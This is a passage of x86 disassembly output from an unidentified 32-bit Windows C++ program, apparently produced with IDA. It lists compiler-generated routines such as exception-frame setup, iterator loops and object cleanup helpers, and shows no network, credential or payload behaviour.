		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jz	short loc_414C6F


loc_414C24:				; CODE XREF: ___:00414C6Dj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_414C4C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414C4C:				; CODE XREF: ___:00414C3Bj
		lea	ecx, [esp+4]
		call	sub_4018C5
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AEB
		test	al, al
		jnz	short loc_414C24


loc_414C6F:				; CODE XREF: ___:00414C22j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414CB7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414C92
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414C92:				; CODE XREF: ___:00414C89j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414CB7:				; CODE XREF: ___:00414BDEj
					; ___:00414C75j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+10h]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D30	proc near		; CODE XREF: sub_4011C7j
		push	esi
		mov	esi, ecx
		call	sub_401B59
sub_414D30	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_414D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414D48:				; CODE XREF: ___:00414D3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414D60	proc near		; CODE XREF: sub_401B59j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+54h]
		mov	[esp+14h+var_4], 3
		call	sub_401582
sub_414D60	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+10h], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414E00	proc near		; CODE XREF: sub_4014C9j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_414E00
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	ebx
		push	esi
		mov	esi, [esp+54h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_414EFB
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	eax
		call	sub_4014D3
		sub	esp, 18h
		mov	[esp+88h+var_4], 0
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	offset byte_448F30
		call	sub_401870
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+88h+var_4], ebx
		call	sub_40212B
		test	al, al
		jz	loc_415030
		push	0
		push	5
		push	19h
		push	2
		push	4
		push	0Fh
		push	0Fh
		lea	ecx, [esp+74h+var_3C]
		push	21h
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 1
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_3C]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_414EFB:				; CODE XREF: sub_414E00+36j
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_415030
		sub	esp, 18h
		lea	edx, [esi+54h]
		mov	ecx, esp
		mov	[esp+70h+arg_0], esp
		push	edx
		call	sub_4014D3
		sub	esp, 18h
		lea	eax, [esi+3Fh]
		mov	ecx, esp
		mov	[esp+88h+var_4C], esp
		push	eax
		mov	[esp+8Ch+var_4], 2
		call	sub_4014D3
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0A0h+var_48], esp
		push	edx
		mov	byte ptr [esp+0A4h+var_4], 3
		call	sub_4014D3
		sub	esp, 18h
		mov	ecx, esi
		mov	eax, esp
		mov	[esp+0B8h+var_44], esp
		push	1
		push	offset asc_444600 ; " "
		push	2
		push	eax
		mov	byte ptr [esp+0C8h+var_4], 4
		call	sub_4011EA
		sub	esp, 18h
		mov	byte ptr [esp+0D0h+var_4], 5
		mov	ecx, esp
		mov	[esp+0D0h+var_40], esp
		push	1
		push	offset asc_444600 ; " "
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		or	ebx, 0FFFFFFFFh
		mov	ecx, offset word_44AC5E
		mov	[esp+0D0h+var_4], ebx
		call	sub_4018AC
		test	al, al
		jz	short loc_415030
		push	0
		push	4
		push	5
		push	14h
		push	10h
		push	5
		push	3
		push	3
		lea	edx, [esp+78h+var_24]
		push	1Bh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+58h+var_4], 6
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+58h+var_24]
		mov	[esp+58h+var_4], ebx
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+58h+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 4Ch
		retn	4
; ---------------------------------------------------------------------------


loc_415030:				; CODE XREF: sub_414E00+82j
					; sub_414E00+10Dj ...
		mov	ecx, [esp+58h+var_C]
		pop	edi
		pop	esi
		xor	al, al
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 4Ch
		retn	4
sub_414E00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4150F0	proc near		; CODE XREF: sub_40132Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401ED8
sub_4150F0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415130	proc near		; CODE XREF: sub_401726j

arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		push	0
		push	0
		mov	al, [edi]
		mov	[esi], al
		call	sub_401ED8
sub_415130	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esi+4], eax
		push	ecx
		mov	ecx, edi
		mov	dword ptr [esi+8], 0
		call	sub_4016D6
		mov	edx, [eax]
		lea	eax, [esp+8]
		push	edx
		push	eax
		mov	ecx, edi
		call	sub_40113B
		mov	ecx, [eax]
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		mov	ecx, esi
		push	eax
		call	sub_401735
		mov	eax, esi
		pop	edi
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4151B0	proc near		; CODE XREF: sub_401582j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40146F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401CE9
sub_4151B0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415220	proc near		; CODE XREF: sub_4012E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401DBB
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415220	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415260	proc near		; CODE XREF: sub_401D9Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415260	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415290	proc near		; CODE XREF: sub_401488j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401D9D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40217B
sub_415290	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4152D0	proc near		; CODE XREF: sub_401258j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401D9D
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4012E9
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401D70
		test	al, al
		jz	short loc_41535D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41530F:				; CODE XREF: sub_4152D0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_401FC3
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415341
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401578
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		jmp	short loc_41534A
; ---------------------------------------------------------------------------


loc_415341:				; CODE XREF: sub_4152D0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4020C2


loc_41534A:				; CODE XREF: sub_4152D0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401D70
		test	al, al
		jnz	short loc_41530F
		pop	edi


loc_41535D:				; CODE XREF: sub_4152D0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4152D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153A0	proc near		; CODE XREF: sub_401E38j
		push	esi
		mov	esi, ecx
		call	sub_401ED3
		mov	eax, esi
		pop	esi
		retn
sub_4153A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153C0	proc near		; CODE XREF: sub_401FC3j
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_4153C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4153E0	proc near		; CODE XREF: sub_4020C2j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_4153E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415410	proc near		; CODE XREF: sub_401D70j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415410	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415440	proc near		; CODE XREF: sub_401F23j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401C8F
sub_415440	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415480	proc near		; CODE XREF: sub_4011B8j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401E33
sub_415480	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4154F0	proc near		; CODE XREF: sub_401992j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401CDA
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_4154F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415530	proc near		; CODE XREF: sub_402257j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415530	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415560	proc near		; CODE XREF: sub_401F0Fj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_402257
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401AAA
sub_415560	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155A0	proc near		; CODE XREF: sub_401933j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40132F
		pop	esi
		add	esp, 0Ch
		retn
sub_4155A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4155F0	proc near		; CODE XREF: sub_401154j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402257
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401992
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401AEB
		test	al, al
		jz	short loc_41567D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41562F:				; CODE XREF: sub_4155F0+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_4011D1
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415661
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4010DC
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		jmp	short loc_41566A
; ---------------------------------------------------------------------------


loc_415661:				; CODE XREF: sub_4155F0+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_4018C5


loc_41566A:				; CODE XREF: sub_4155F0+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401AEB
		test	al, al
		jnz	short loc_41562F
		pop	edi


loc_41567D:				; CODE XREF: sub_4155F0+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_4155F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156C0	proc near		; CODE XREF: sub_401037j
		push	esi
		mov	esi, ecx
		call	sub_401E97
		mov	eax, esi
		pop	esi
		retn
sub_4156C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4156E0	proc near		; CODE XREF: sub_4011D1j
		mov	eax, [ecx]
		push	eax
		call	sub_402144
		add	esp, 4
		retn
sub_4156E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415700	proc near		; CODE XREF: sub_4018C5j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401249
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415730	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401EC4
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_415730	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415760	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401DB6
sub_415760	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4157A0	proc near		; CODE XREF: sub_4014BFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F14
sub_4157A0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415810	proc near		; CODE XREF: sub_401901j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D7A
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415850	proc near		; CODE XREF: sub_40114Aj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415880	proc near		; CODE XREF: sub_401410j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401D11
sub_415880	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4158C0	proc near		; CODE XREF: sub_401C76j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40140B
		pop	esi
		add	esp, 0Ch
		retn
sub_4158C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_40214Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_4]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40114A
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401901
		mov	eax, [eax]
		lea	ecx, [esp+10h+var_8]
		push	ecx
		lea	ecx, [esp+14h+var_C]
		mov	[esp+14h+var_C], eax
		call	sub_401339
		test	al, al
		jz	short loc_41599D
		push	edi
		mov	edi, [esp+14h+arg_0]


loc_41594F:				; CODE XREF: sub_415910+8Aj
		lea	ecx, [esp+14h+var_C]
		call	sub_40135C
		mov	edx, [eax]
		mov	eax, [edi]
		cmp	edx, eax
		jnz	short loc_415981
		lea	eax, [esp+14h+arg_0]
		push	0
		push	eax
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401EBF
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_4]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		jmp	short loc_41598A
; ---------------------------------------------------------------------------


loc_415981:				; CODE XREF: sub_415910+4Ej
		lea	ecx, [esp+14h+var_C]
		call	sub_40118B


loc_41598A:				; CODE XREF: sub_415910+6Fj
		lea	eax, [esp+14h+var_8]
		lea	ecx, [esp+14h+var_C]
		push	eax
		call	sub_401339
		test	al, al
		jnz	short loc_41594F
		pop	edi


loc_41599D:				; CODE XREF: sub_415910+38j
		pop	esi
		add	esp, 0Ch
		retn	4
sub_415910	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4159E0	proc near		; CODE XREF: sub_402275j
		push	esi
		mov	esi, ecx
		call	sub_401E42
		mov	eax, esi
		pop	esi
		retn
sub_4159E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A00	proc near		; CODE XREF: sub_40135Cj
		mov	eax, [ecx]
		push	eax
		call	sub_4017E4
		add	esp, 4
		retn
sub_415A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A20	proc near		; CODE XREF: sub_40118Bj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401BCC
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_415A20	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A50	proc near		; CODE XREF: sub_401339j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401456
		neg	al
		sbb	eax, eax
